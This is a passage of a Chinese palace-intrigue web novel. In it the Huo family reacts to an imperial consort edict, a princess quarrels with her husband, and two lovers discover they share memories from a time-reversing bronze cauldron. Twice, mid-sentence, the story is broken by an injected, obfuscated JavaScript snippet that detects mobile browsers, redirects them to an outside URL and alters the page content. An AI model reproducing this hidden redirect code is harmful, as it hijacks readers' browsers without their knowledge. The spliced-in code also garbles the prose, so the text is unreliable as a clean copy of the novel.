蜂拥而来的百姓们摩肩接踵围堵在最早批看客们后面看热闹,普通百姓不知有皇后位的内情还能没耳闻过霍三姑娘在济善庵里修佛吗?近乎是册封霍灵渠做贵妃的圣旨宣读完毕,看客们就蠢蠢欲动想跟左右哪怕是陌生人交流情况,好在有顾忌才没闹出多少大响动。 而对跪接圣旨的霍家众位,最受震动莫过兴献侯夫人佟梦姿和霍振羽,佟梦姿不可思议地盯着那道明黄圣旨突然眼冒金星;霍振羽眼球凸出地转瞪向二堂兄,昨日在故意误导他吗?可贵妃竟选定他的长姐,这当中会没有长房的手笔吗? 老太爷霍擎率众跪接圣旨叩谢皇恩,乌掌院将圣旨交给霍家,再交代圣谕:“老太爷、穆国公、兴献侯,陛下交代了,贵妃娘娘近年来深居简出偏爱清静不喜喧闹,佛门净地不宜染红尘俗事,返回霍家换装又恐扰娘娘清幽。 故陛下决定派大统领接贵妃先去潜邸换装再入宫受册封典礼,陛下顾念娘娘最疼爱同母胞妹,想请武襄侯家的四奶奶在娘娘入宫前作陪,有劳老太爷派位孙儿去传话。” 霍擎表面顶着老脸高兴客套,心里又把闺女骂个狗血喷头,舒服点后指使二孙子跑腿;霍漓江则带大侄儿霍海啸陪着大统领率禁军和贵妃的仪仗队前往济善庵。 禁军和仪仗队伍走远,穆国公霍秦川笑请乌掌院进府喝茶,出府接圣旨的众人也随着霍老太爷返回府里。他们表现得稳稳当当,霍雄鹰可忍不住,他心里火烧火燎得着急,左思右想都得扒着他二哥同走趟武襄侯府,事情严重他必须即刻商谈。 “商量什么呀,舒窈肯定很快会回娘家,想商量跟你姐商量。”霍巨浪牵马欲走。 “二哥!”霍雄鹰生气谴责:“你给我带点良心,三姐姐已经够可怜的,要是再给大哥和未央做踏脚板得多惨啊,反正我不同意;这道圣旨肯定又是大哥在背后捣鬼,蓁蓁就算了,但大哥总不能再牺牲三姐来成全他将来当国丈,没得他这么狠的。” “册封贵妃的旨意跟大哥没关系,二哥能给你担保。这事情很复杂,三言两语说不清,但咱们家可能过几月就有震动,等家里做好决断你自然会知道。”霍巨浪不再费唇舌,勒住缰绳翻身上马,策马前往武襄侯府。 霍雄鹰站在原地,绷紧脸憋闷腹诽:能有什么震动,再震动还能舍弃捧未央吗? 出府接圣旨的霍家众人不包括曾孙辈们、十岁以下的男孙和孙女们,霍蓁蓁没有随长辈们去接旨但册封贵妃的旨意一出来就传遍府内外,她还能不知道吗? 霍振羽陪母亲走到妹妹的院里就听到响烈摔打声,走到门槛前果然见蓁蓁在摔屋中摆设,奴婢们围绕在姑娘身边想劝又不敢劝的,佟梦姿看得烦躁:“都下去!” 众婢女们纷纷屈膝行礼告退,唯独站在旁侧的三十多岁仆妇没动静,她身着绸缎春衫,鬓间戴着镶碎宝石的金簪,手腕戴有玉镯,脸颊白嫩得不似奴仆,是霍蓁蓁的奶娘,也是佟家给佟梦姿的陪嫁,在主母面前向来很有体面。 “姑娘莫哭了,”她之前一直没拦,此时才上前抱住霍蓁蓁规劝:“今日是您姐姐被册封贵妃的大喜之日,咱们院里要是传出点闲言碎语,还不知道要被府里怎么编排呢?” 屋里满地瓷器玉器碎片还不乏摔坏的宝石珍珠首饰,霍蓁蓁眼眶通红泪痕未干,可怜得像只被遗弃流浪的花猫;她委屈愤怒,想忍忍不住还是把手中的花瓶狠狠砸了:“不!” “蓁蓁!今天是陛下的寿诞又是你大姐册封贵妃的大喜之日,你怎么还这么不懂事?”佟梦姿心疼女儿但不得不呵斥,可她语气强硬不起来甚至都想陪着女儿哭,近前抱着女儿哄:“再闹~你爹真会生气的,府里还有那么多双眼睛盯着,乖啊,不哭了。” “娘,我怎么办?我要怎么办啊娘?”霍蓁蓁眼泪直流气得撕衣裳想把衣裳扯破发泄:“贵妃怎么会落到霍家,怎么可能会册封大姐做贵妃? 奶娘说这就是长房的阴谋,这是在给补偿,安抚爹又让祖父不再向着我,爹有大姐做贵妃不会再有怨言,这就是想堵死我们好彻底掐断我的前程啊,娘,我要怎么办啊?” 佟梦姿眼底泪花打转,疼得心里直抽搐,她又岂会看不明白?长房这是在诛心,这是要逼得他们必须把所有委屈愤怒全咽下、想发泄都不能再发泄,多狠的诛心一招呐。 霍振羽眼眶猩红着别开眼,右手狠狠握成拳头;霍蓁蓁的奶娘钟妈妈适时提醒:“夫人,快让四爷回佟家找老太爷商议对策吧,我们不能这样被长房宰割呀;老爷最疼爱长女,不见得就愿意让三姑娘给长房做踏脚板,只有我们姑娘才会向着亲姐姐。” 佟梦姿怔住,吃惊道:“这、这我们这房已经占掉贵妃位,蓁蓁怎么可能还有机会?” “夫人,谁能想到贵妃位会给三姑娘?原本册封贵妃是为制衡后宫,现在贵妃就是摆设,圣旨出来前有谁会想得到?”钟妈妈见缝插针:“奴婢斗胆,以三姑娘的情况进宫,还是做贵妃,陛下能愿意吗?很可能三姑娘自己都不愿意呢。 本来她在济善庵里清清静静,日子还好过,可一进宫要面对多少是非,这日子怎么过?只要三姑娘生气不愿意被长房牵着指使,事情不就能有转机了吗?” 霍蓁蓁连连赞同:“对对对,奶娘说得对,爹和祖父都最疼爱大姐,只要大姐愿意帮我,爹肯定会答应;我和大姐才是亲姐妹,大姐肯定愿意向着我的。” “可、可贵妃位是长房给的补偿啊。”佟梦姿犹豫:“册封贵妃对灵渠她到底是好意,也是在安抚老爷,漓江他和大伯兄弟感情深厚,哪能愿意再帮蓁蓁?再说,再说要是真的再和长房抢皇后的位置,我们两房恐怕就得要决裂了,老太爷都不答应的。” 钟妈妈深知不能接话也接不住,只能往佟家引诱:“所以得请四爷快回佟家商议。夫人,这事不能拖,越拖越难办,得趁着陛下和贵妃心里最不痛快时才能有胜算。” “是啊娘,快让大哥去佟家找外祖父商量对策吧。现在才辰时二刻,宫里还要办贵妃的册封典礼,宫宴在未时中还早得很呢。”霍蓁蓁可怜兮兮撒娇:“娘,外祖父尽快想出对策,这两天就能和祖父谈了,不然多拖延几天,长房又能施压要给我相看了。” 佟梦姿经不住女儿央求,心一横就同意了,让儿子即刻回佟家,骑马回去。 霍振羽略迟疑下仍旧应承了,边往外走边吩咐下人备马,到府外牵过骏马即回外祖家。 昨日晏霁之的话,他不是丁点没入耳,同样他也不是不知佟家的心思,只是对佟家早已深入肺腑的依赖令他实在难以割舍更是在霍家受到欺压时会毫不犹豫倒向外祖家。 自利也许是种潜藏的本能,告诉他再多遍:他们的前程本就在穆国公手中,霍家根本没人对不起他们也抵不过他们实实在在切身感受着被欺压的憋屈愤懑;何况对向往前景的渴望也足够无视掉未来的忧患只顾当前,更甚者将来的事谁又能知道? 他外祖父佟尚书已年迈,再过几年就会致仕;大舅被罢官只剩二舅还能撑佟家的门楣,佟家的前途还得靠他们,既要靠他又还能有多少坏心思? 或许这就是许多人的人性弱点,只想按自己渴求的心意选择现状而不肯正视现实。 只相隔半刻钟,穆国公霍秦川送乌掌院出府,待客坐轿离开,他望向此前侄儿策马飞奔而去的方向,虽然早没了霍振羽的身影,他仍然凝视会儿才重新进府。 册封贵妃的圣旨传遍后,同样在家里大发脾气摔摔打打的还有平原大长公主。 “不就是没有抢到贵妃的位置,用得着你这么生气吗?”显国公走进屋,没让奴婢们打扫碎片便让她们暂且退下,平原大长公主怒喝:“你什么话? 我都明白跟皇帝要贵妃位了,可他竟然这么拂我的脸,他眼里还有我这个姑母吗?我跟你娘还有你的小妾庶女都打过包票了,现在呢,现在你让我的颜面往哪儿放?!” “皇帝眼里没你这位姑母又怎样?他要给父皇脸面,难道还要看顾姑母的脸面吗?”显国公踢掉些碎片走到桌前坐,语调凉凉泼盆冷水:“你有什么资格让皇帝听你的话?我都告诉过你了,皇帝没给准话前别夸海口,你非不听啊。” “我是他亲姑母,是他的长辈,他这是目无尊长、礼法难容。”平原大长公主盛怒飚话:“我告诉你,不出这口恶气我绝不罢休!” “有气魄。”显国公恭维道:“这么有本事你就去找皇帝发飙,跟我撂狠话作甚?” “你?!”平原大长公主语塞,气得又抄起只花瓶砸:“这就没打你的脸,你就能忍?” “今年是正徽五年,皇帝御极都第五年了;皇帝今天满29岁,明年就是而立之年,这侄儿不是还要仰霍家鼻息的越王而是已经成为令太上皇也得顾忌的皇帝。”显国公嗤讽道:“雷霆雨露俱为君恩,你还想把皇帝压着看你的脸色,你想造反吗?” 平原大长公主被激得气不打一处来,怒火攻心就口不择言起来:“谁知道皇兄当年着什么魔中的什么邪好好的非要禅位,禅位就罢了,竟然不禅给晋王反而禅位给越王?!” 显国公乍然站起走到门槛前往四周查看,没有奴婢在附近才放心转身,对妻子冷厉呵斥:“这种话是能说的,你知道我今早收到的什么消息? 贵妃的人选,陛下昨日就派人告知圣人,班丞相和蒙侍郎都是昨夜就收到消息了,房相和晏家也是昨夜就有数了,连我派在魏王那边的眼线今早都传信回来说魏王早就已经知晓,唯独我们全然被蒙在鼓里一点风声没收到,这有多严重?” 平原大长公主神情微变:“这,皇兄既然事前都知道了怎么会没递口信来?” “因为太上皇在敲打,太上皇对你女婿已经很不满了!”显国公怒声道:“前年我就跟你说过去劝劝庄太妃别使着晋王胡冲乱撞,她在后宫能立于不败之地不代表她就懂朝局。 单说年初我和英王斗成乌眼鸡,这女婿都要来暗中掺和捞权,他们母子还有没有点分寸?这也罢了,半月前晋王都把江南巡抚招揽进麾下了。” 显国公气极而笑:“真有本事啊,圣人亲自提拔的官员竟也能逐个被晋王招揽,可他就没想过他父皇能忍吗?越来越明目张胆地抢权,他莫非当他父皇睁眼瞎吗?” “你、你冷静些,我和庄太妃不也是急吗?像你这么慢吞吞的还能争到些什么?”平原大长公主略微慌乱退让:“你也别杞人忧天,过几日我劝劝庄太妃就是了。” 廊檐前阳光熠熠生辉,透彻明亮的光照里能看见细尘浮动,一片花瓣落地,静谧无声。 在霍振羽赶往佟家之际,英王妃也催促着奴婢们备马车要急着回娘家。 可能是被她心急火燎的情绪带动,稍稍等片刻她就嫌下人懒怠而痛骂发泄,英王妃身边几个奴婢譬如扈妈妈也没觉察这回备马车的速度确实明显要比平常慢些,偏偏这细微的风向显示着府中奴婢们对英王妃态度的彻底改变。 一个小丫鬟收到消息后进到屋里禀告:“三爷,少奶奶,王妃已经坐马车回娘家了。” “知道了,退下吧。”晏三奶奶打发掉婢女,抱着两岁的儿子哄他玩,感慨道:“可真没想到昨日岚瑟居里闹得鸡飞狗跳、王妃闹着要打到蔚然居,我和堂嫂都劝不住,四弟妹摔跤动胎气才好险消停了,世子竟然都能忍住不现身。” “心寒了吧。”晏如瑰摇头:“只是昨天二哥没有出面,今早效果就这么立竿见影,王妃今后受到的怠慢肯定会越来越多也会愈发明显,我都怕家里以后没有安宁了。” 被裁减份例、被剥夺掌家权只担虚名,府里的下人也没敢对英王妃生出半点怠慢之心,毕竟有世子爷镇着呢。 而昨日哪怕谁都看得明白王妃寻死腻活是在做戏只为拿捏亲儿,可明白归明白,按理,世子就算只是为自己的名声也该配合亲娘演,谁承想世子竟然硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459246|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶着没现身。 下人们都是最机灵敏感的,昨天岚瑟居这么大动静,王爷和世子都不肯做点表面功夫,谁还看不懂?孝道名声到底只是虚名,当家作主的权柄才是根本。 王府最大的两位都懒得敷衍她到不在意名声了,不摆明告诉奴婢们今后对她只需面上能过得去就行吗?这不今早,英王妃要回娘家,备马车的速度就开始比平常慢了。 晏三奶奶小声嘀咕:“应当不用怕,她肯定不会消停的,没安宁了。” 晏如瑰失笑,小夫妻间生出点脉脉旖情,碍于媳妇抱着儿子,他轻咳声挑开话题:“可惜徐侧妃和四弟他们白高兴场,贵妃竟然落在霍家。” “是呀,真出乎意料,可昨天霍二爷不是说过贵妃能出在我们家吗?”晏三奶奶怪异,晏如瑰猜想:“应该是为哄霍振羽快些离开。” 当然是出乎意料白白高兴,从收到蔚然居里传出来的风声起,他们兄妹和生母徐侧妃就欣喜雀跃甭提多高兴。今早天还黑蒙蒙的就醒来,早早候着就等圣旨降临,哪想竟等场空,这落差失落有多大可想而知;晏琼勋多番忍耐还是忍不了,冲出屋往蔚然居跑。 他知道没有意义可就是想找嫡兄求个准话,霍巨浪昨日到底有没有说过贵妃出自晏家?如果说过,霍家是事前不知情还是故意扯谎?如果是在扯谎,为何要戏弄他们? “霍二爷昨日的原话是‘晏家自家都能出位娘娘,还能管你妹妹?’” 朱楼传递禀告得到吩咐再来到院前,含笑转达世子的意思:“这话只是表明晏家能出位娘娘而非必会出位娘娘,霍二爷更没有说过晏家会出位贵妃娘娘,况且宫里三品以上的嫔妃都能称娘娘。霍二爷没有任何戏弄之意更没扯谎,想来四爷是误会了。” “哦……”晏琼勋低头闷闷应,转身抬手揉揉眼睛,垂头丧气地走掉,背影明显失落。朱楼看着忍不住叹息,大家都觉得怪可惜,倒也没奴婢趁机故意看四房的笑话。 瞧见晏诺护卫长大步走来,朱楼便稍等下,等人近前,她行礼打声招呼,晏诺还礼再道:“请朱楼姑娘禀告世子,该出府了。” “出府,现在吗?”朱楼讶异:“是世子交代护卫长此刻提醒世子要出府办事吗?”她向前走步低声提示:“世子和姨娘两刻钟前要过热水,短时内怕不会出屋。” “昨夜世子交代过今日辰时中要出府办事。”晏诺定道:“还请朱楼姑娘再通禀声。” “好,请护卫长稍候。”朱楼返身回院里,来到奕风楼的寝屋前试问世子是否已回寝屋?得到回响后再禀告,很快就从寝屋里传出命令:令晏诺再等半个时辰。 一缕缕阳光透过窗牗盛进轻纱缭绕的寝屋里,似乎想把此间金玉满堂盈满,可惜再灿烂的春晖也只能暖人皮囊,融不进心血深处那撕割的孤寂煎熬。 金灿灿的光斑落在床榻前划拨出圈圈暧昧,离别在即,晏霁之把黏糊劲儿发挥得淋漓尽致;原定卯时正起,他们俩也醒来了,只是男人趁还早想再亲热会儿,然而再亲热又岂是理智能控制的?最终不例外的变成颠鸾倒凤抵死缠绵。 鸳鸯浴毕回到床榻里,还能按原定时间出府,可晏霁之抱着美人死活不想撒手,贵妃的册封典礼推迟就推迟,他就不想顾及了,逼急他~他今日还不想出屋了。 “昨晚,昨晚你说给的都是真…嗯…真消息?”晏霁之抱着她吻得浑然忘我,霍灵渠到底清楚必须得拦了,且她确实有疑惑想问明白:“为何,你疯了吗?” 晏霁之置若罔闻只顾亲热,霍灵渠艰难地捧住他的脸,娇喘挑明:“梦里,在你的梦里,我跟你六年后,我们住进竹屋才有夫妻之实,对吗?” 晏霁之刚还缠着吻她没注意,回过味后倏然戛止,不可思议看着眼前的女人,他们相拥贴得那么紧密能感受到彼此的呼吸和心跳,却忽然令他有点陌生。他定定心神,神情莫测道:“你可别告诉我,你是胡乱瞎猜的。” “我跟你做过同样的梦。”霍灵渠直言不讳告诉他,晏霁之震惊:“什么?”他难以置信乃至竟以自己的判断反驳也难相信这异样:“不可能,你这些年的表现全然不像。如果我们有相同的经历,你也有曾经的记忆,我怎么会看不出你的变化?” “我是在半年前醒来,就是半年前我大病场后,当时你问我为何跑进瓢泼大雨里?便是我梦醒后太兴奋太惊喜都不敢相信是真的。那时的情况,莫说跑进雨中,若是遇到水潭,我都能往水潭里跳。”霍灵渠解释又困惑:“可你怎么会在授康二十八年就能醒?” 晏霁之莫名惊悚,心底升腾起一种缥缈的虚幻恐慌竟让他瞬息间分不清此刻的真假,可怀抱的温香软玉又那么真切,真真切切触动着他的感官和心房能让他心安沉静。 他转头看眼床前明媚的光照,抬手揉揉太阳穴,仿佛转息间已经历场大波动起伏般长叹:“我也想知为何,我们可都是在授康二十八年就醒了,你为何会晚四年?” “我若清楚因由还会请教你吗?我还奇怪为何你能有这等机缘,我还以为就只有……”霍灵渠猛然意识到:“你说我们,什么叫我们,除了你之外还有谁呀?” “你说呢,你醒来后感受到的当前和曾经最大不同是什么?”晏霁之反问,霍灵渠怔愣思考下瞬间震惊:“圣人?你、你是、你是说太上皇跟我们都…都一样吗?” 晏霁之给予肯定:“否则老皇帝为何要禅位?” “禅位,这跟禅位有何关系?”霍灵渠被弄糊涂了:“不,不是,不对呀,老皇帝若是掌握着先机已然清楚往后多年的进展那他不是该高枕无忧么,怎么可能还会禅位?” “因为据我观察猜测,除他之外,包括我在内,当然不包括你,往前几年还没你的事,在授康二十八年醒来的共有六位。”晏霁之都觉得有点糟心,而霍灵渠是直接惊悚了:“什么,你跟我说书呢,怎么可能有那么多?” 晏霁之唉声叹气:“不然能逼得老皇帝不得不禅位吗?” 55. 第55章 明媚的光照延伸投向水红帐幔绘染轻薄飘逸的亮彩,暖融融的柔软逐渐氤氲在床帏间。 “我不懂。”霍灵渠只觉是团迷雾重重的困惑:“为何能有那么多人得到这机缘,你们又如何得到,而且是在授康二十八年就能醒来?为何老皇帝因此就要禅位?” “授康三十六年,老皇帝得到件号称能重塑光阴扭转乾坤的宝物,你应该还记得吧?”晏霁之抱她躺靠在床头,迎上她迷惘的眼神,默默唾弃自己,正经谈正事竟然也能有绮念。给女人拉锦被盖好,问疑惑:“你何时往青铜鼎里滴血的?” “宝物、青铜鼎?你说的是樽鼎身盘旋凤凰的青铜鼎吗?” 霍灵渠猛然想明白件事而感到凉意:“是太上皇抢走这宝物吗?当时我不知道,你不曾告诉我~我怎会知晓?但这是我表哥我外祖家的宝物,因为有此宝物怀璧其罪,外祖家遭遇灭顶惨祸险些害得族人死绝,那仇家是谁?” 晏霁之惊惧:“你表哥?这青铜鼎是你表哥家族的宝物?”他倒吸凉气,难道师傅指她身世不寻常就是在此吗?她真的身世不寻常吗? “灵渠你能确定,那青铜鼎真是你表哥家族的宝物,你敢担保没差错?” “是我外祖家的宝物。”霍灵渠神情略有低靡,诉起件往事:“表哥不是半年前找过我,是授康三十六年,在我重伤昏睡那时用假死法将我偷偷带走,你们才都以为我死了。” 晏霁之懵了:“你再说遍,你表哥用假死法把我们全部蒙骗过去把你给带走了?” “真的,授康三十七年秋天,我在眉州彭山的山谷里醒来;清醒后,表哥给我验血脉,我才知手腕有胎记;也是表哥告诉我,霍家没了。” 霍灵渠仍觉伤怀:“妹妹死了,家也没了,外祖家同样遭遇惨祸几近死绝,我不知道我活着到底还有何意义?表哥看我终日郁郁寡欢才告诉我,家族有上古颛顼时期传下来的宝物能重塑光阴,只要成功回溯到惨剧发生前就能有机会扭转乾坤。” 晏霁之暂且抛掉被欺骗的郁气陷进沉思,考虑道:“我从宫里偷出青铜鼎,这破玩意儿还曾大半夜跳到我们床上吓唬我,你还有印象吗?” “我不记得了,但这青铜鼎确实喜欢蹦蹦跳跳的,它也经常跟着我。”霍灵渠解释道:“表哥说宝物有灵性能认主能搜寻家族血脉,被外人掳劫走都能自己逃跑。” “难怪这破玩意儿半夜都蹦跶,我不找它真是明智。”晏霁之颇有感触,求证道:“灵渠,你和你表哥是怎么拿到机缘的?”他怀疑他们似乎不同。 “赌的。”霍灵渠感慨道:“表哥告诉我,有三种可能:第一,我白死了;第二,能重塑光阴但我熬不过劫数会白白给他人做嫁衣,最后种情况才是能够成功。 表哥没把握,不想赌,宁可就带着我和仅存的族人就这么生活,是我坚持,我想让妹妹活过来,我想挽救霍家的惨剧,我想弥补曾经犯的罪孽,我宁可白白赔掉性命也要试。” 她弯眼笑笑别有温婉:“所幸成功了,我也熬过劫数醒来,可你又是怎么回事?” “我应该是你表哥说的第二种情况。”晏霁之恍然感悟:“我往青铜鼎里滴过血,你表哥肯定清楚,你们用青铜鼎重塑光阴,若能成功,那么曾经往宝物里滴过血的那些人都能随之带着记忆醒来,可能这才是他犹豫的根源,只是他没告诉你。” “什么?我们拿命换来的,你怎么会这般简单?”霍灵渠惊得美眸圆瞪简直不可思议,晏霁之挺理解她难以接受,是坑:“不然怎么会叫白白给他人做嫁衣?但现实摆着,老皇帝禅位都几年了,就是如此。” 霍灵渠被噎得险些自闭,晏霁之轻咳声尽量让自己表现得厚道:“灵渠,你和你表哥是哪年逆天改命用青铜鼎重塑光阴的?”他猜是正徽元年吧。 “正徽元年。”霍灵渠闷闷道:“授康三十九年老皇帝驾崩,谷外的腥风血雨落定。我在报仇前把小祐托付给他的叔叔,我想也该和小祐告别。正徽元年,我们安顿好仅存的族人,表哥陪我去探望小祐,再无牵挂之后,我和表哥便放手一搏。” “一夜夫妻百日恩,多年夫妻比海深,你怎么就没想过来探望我?”晏霁之准备算账:“请问你表哥有媳妇有儿女吗?听你的言谈似乎没有吧。 你们虽是亲戚,可孤男寡女在同个屋檐下住几年合适吗?刚才你说什么来着,你表哥宁可就这般带着你生活?这什么意思,他要跟你携手终老吗?” 霍灵渠白他眼懒得理他,晏霁之气笑:“真被我猜中了啊,难怪住山谷里都乐不思蜀,你可别告诉我那几年你还背着我找野男人了?” 此言既出,气得霍灵渠扭身抄起软枕就打他,晏霁之妒火上头没好脾气肯让她,抢过软枕打算欺负她消消妒火再谈,然而霍灵渠不愿意轻易就范,两人就此在床帏中打闹起来,直到被屋外丫鬟的禀告中断:半个时辰到了! “巳时中再来叫。”晏霁之扬声吩咐,语毕,掀开锦被出床榻,走到桌前倒茶喝,好心想给懒在床里的女人送杯茶水时霍灵渠已经走到他身侧、自己倒茶喝水。 “你也好意思生气、摆脸给我看吗?你有种斥责我捕风捉影吗?”晏霁之哼哼谴责,霍灵渠憋闷反击:“曾经我们相处六年才做真夫妻,你醒来后呢? 我进府才十五个月你就急不可耐也罢了,你在床笫间花样百出与曾经在竹屋时能比吗?半年前醒过来,我脑海里涌现那片记忆都臊得慌,你敢发誓这不是在故意欺负我?哦对了,还有送春宫图这事,你肯定都是故意的。” “对啊,害晏家被夺爵抄家的账你还了吗?帮你抓两个冒牌货的人情你还了吗?现在还要再加你假死欺瞒我远遁、妄图红杏出墙以及竟然将我抛诸脑后三笔账。”晏霁之冷笑声将霍灵渠拉进怀里箍紧,欺道:“这么多账,你好意思甩脸给我看吗?” 女人抿抿唇郁闷沉默,她倒是想反驳可理亏,真争辩起来也驳不过他,还不如闭嘴呢。 晏霁之乘胜追击:“坦白从宽,跟那亲戚最逾矩的事是什么?” “拉过手。”又被催促遍,霍灵渠心里很坦荡可却不知为何总有点忸怩:“我跟表哥出谷采草药摘野果钓鱼捉野鸡,山路崎岖,有时表哥会牵着我走。” “呵呵,你不会找根木棍找条树枝吗?他摆明想占便宜,你也不知道要守礼相拒吗?”晏霁之怨火颇大:“男女有别都被你抛到脑后了吧,你的手是外男能牵的吗?” “我当他是兄长又是在山谷里相依为命,就没拘小节嘛,”霍灵渠娇言温语略有撒娇,只是话未尽就被晏霁之打断:“兄长?他当你是妹妹吗?他想娶你,这也叫兄长?” 霍灵渠婉言哄道:“我知道和表哥牵手不妥,我当时没顾忌是我的错,可正事要紧,你觉得我表哥会出事吗?原本我想既然要和爹爹相认,就让爹爹帮忙找寻表哥的踪迹。 可现在竟然还有这等内情,你和圣人在授康二十八年就能醒来,外祖家曾经就遭遇过灭顶惨祸,既是太上皇做的,我表哥和外祖家的族人们会不会早已经出事了?” 想到有事情求他才肯认错撒娇吧,晏霁之冷脸:“我觉得你检讨自己更重要。” “霁之~~”耳鬓厮磨多年,要用美人计,霍灵渠绝对能信手捏来,晏霁之憋怒道:“两刻钟前你怎么就只想拿软枕跟我闹?没想到你表哥可能有危险,你肯服软?” 霍灵渠不能辩,只好痴痴缠缠抱住他,晏霁之真想把这女人给推开,忍住了,把美人打横抱起回床榻里再亲热会儿消气,吻得渐入佳境时被拦住,瞪她:“你至于吗?” “我心急嘛。”霍灵渠捧住他的脸吻吻他,哄道:“你就先帮我推测下嘛。” “应该没事,”晏霁之冷哼,揣摩起来还是认真的:“看太上皇就知道了,倘若已经掌控住你这亲戚,只怕早已按他的心意再度重塑光阴,何至于憋屈禅位还多年没动静?” “没有机会了,表哥说过若能成功,青铜鼎会碎掉。”霍灵渠心沉了:“而今宝物损毁,需得耗上百年乃至几百年方能复原,我表哥和外祖家还会没出事吗?” 晏霁之微愣惊讶,霎时想明白哪能有那种好事?生命中能得一回机缘已经是造化。他沉思几许安抚:“应该还是没事,你以为太上皇想要什么,他要长生不老。” “长生?”霍灵渠惊得戛然收音,下意识掩唇:“他认为这宝物能够让他永生吗?” “恐怕不是认为而是他确信能,毕竟已经让他带着记忆重回授康二十八年,这对于渴望长生想永享权利的老皇帝能不震撼吗?他岂会再有疑虑认为这世间会没有永生?” 晏霁之娓娓解析:“既然宝物损毁了,即使你表哥当时未醒又岂能不明白原委?我猜事情的主控权在他手里。霍家强抢后位的根本是嬴忱璧和霍家联手要夺权,圣人的反击举措却只是防守,倘若圣人无所顾忌又怎会如此憋屈? 如果他控制住你外祖家了,他还会怀疑不能胜券在握吗?那他又岂会再隐忍?既然他还在忍着憋屈,至少能证明你表哥是安全的。” 霍灵渠反复思量也没甚能辩驳,眼圈微红祈祷:“但愿表哥和族人们都安然无恙。” “放心吧,你表哥既非泛泛之辈,必定有本事逢凶化吉。”晏霁之搂她叮嘱:“还有件事,本来我想你知道了对你反而没好处所以没提过,现在想来还是告诉你为好。” “什么事呀?”霍灵渠兴味索然,晏霁之锐利道:“嬴忱璧比谁都清楚他爹想求长生,他做皇帝最大的危机是圣人会暗中除掉他重新登基;如果他乖乖做孝子做傀儡,他最终的下场必会走在他父皇前头,所以他必须得夺权。” 霍灵渠眨眨眼慢两拍想明白,震惊看向他:“你说真的?这话可不能乱说。” “如果圣人能得到梦寐以求的长生药,何需再憋屈由儿子做龙椅?如果最终美梦成空,何必再隐忍做名不正言不顺的太上皇?无论哪种情况,圣人必然想要重登大宝,他又岂能容忍皇帝妨碍他?”晏霁之摇摇头,肯定道:“他定会想要皇帝死。” “天爷……”霍灵渠倒灌凉气,闭眼靠在晏霁之怀里,晏霁之抬手划过眷恋的眉眼,低头亲亲她,明知她不想知道也只能继续灌输给她:“如此狠心倒不是圣人故意针对这儿子,而是无论哪位坐龙椅都会被等同对待。 圣人为权宜计禅位必然选对他掌控大权最有利的儿子,魏王晋王和湘王首先就排除了;至于授康二十八年时还在幼冲的两位小皇子,年纪虽然合圣人心意,但年幼也麻烦。年长的皇子们都活蹦乱跳的,谁能服气父皇禅位给还是孩童的小弟弟? 全部不服气就容易联手相抗,他们背后多少姻亲势力盘根错节啊,联手反抗能搅得整个朝堂乌烟瘴气腥风血雨,故而年纪合适的两位也得排除,只剩蜀王和越王能选。 悼太子和前废楚王皆已身故,三皇子蜀王就是实际的皇长子,但他太神秘了,百官根本不知道他零星半点讯息甚至他还没有娶妻,单凭他年长而未娶妻就够令朝野遐想的。 况且五皇子越王有个极大优势,他是霍皇后的养子,圣人禅位给他是对霍家变相安抚,霍皇后变成霍太后最多憋屈但绝对能接受。稳住霍家,再以越王年长压他那些弟弟们,只剩魏王就掀不起风浪,所以在那七位皇子中最终是由嬴忱璧接过皇位。” 霍灵渠听着都嫌头疼:“我就想不通禅位这事,我看这就是没事找事。” “你还没问授康二十八年醒来的同道中人都有谁呢?”晏霁之失笑自艾:“我被迫当做什么都不知,任由你这细作查晏家还得给真信儿,圣人会禅位也情有可原。” 霍灵渠愣了愣,怪道:“什么意思,谁在迫使你明知我是细作还要放纵?” “傻瓜,你以为老皇帝在禅位前会没对已知的同道中人起过杀心吗?”晏霁之冷笑道:“曾经老皇帝得到的宝物能吸血,他亲自逼着魏王和越王放血的,他们父子兄弟仨彼此都心知肚明。我敢说,如果杀掉这俩儿子能高枕无忧,他定然动手。” “啊?!”霍灵渠惊得美眸大睁倒吸寒气:“你、你是说,皇帝和魏王都是……?你放纵我做细作还给真消息是怕魏王察觉你的异常进而有性命之危?” 晏霁之轻轻摇头,纠正道:“是怕被圣人乃至皇帝知晓,他们可不想有任何同道中人,握有往后十多年的先机是多么恐怖,哪位坐拥江山能容忍这种情况?被魏王察觉,他自会引导让太上皇和皇帝都知晓,那我就走在悬崖边了。” 霍灵渠心戚戚,安慰般握住他的手,晏霁之扬唇指使:“给我倒杯茶。” “好,你稍等下。”霍灵渠好脾气地应,退出床榻去倒茶给自己喝,再斟杯茶送到床前递给他,晏霁之接过茶盅饮尽茶水,将茶盅还给她,等女人再回到床前时拉入怀抱住。 “还有三位同道中人,一位在边境,你不认识更对你没影响,不知也无妨;另外两位,据我观察猜测应该是蜀王和庄太妃,应该也是好奇而在暗中偷偷滴血试验。 蜀王能拿到汉中驻军很可能是跟他父皇挑明,庄太妃虽然隐在暗处但已经暴露无遗,这位曾得宠二十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459247|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年不衰的庄淑妃如今只怕已成为圣人最想除掉的祸害。” 霍灵渠奇怪:“深宫太妃,你们怎么会想盯着她?” 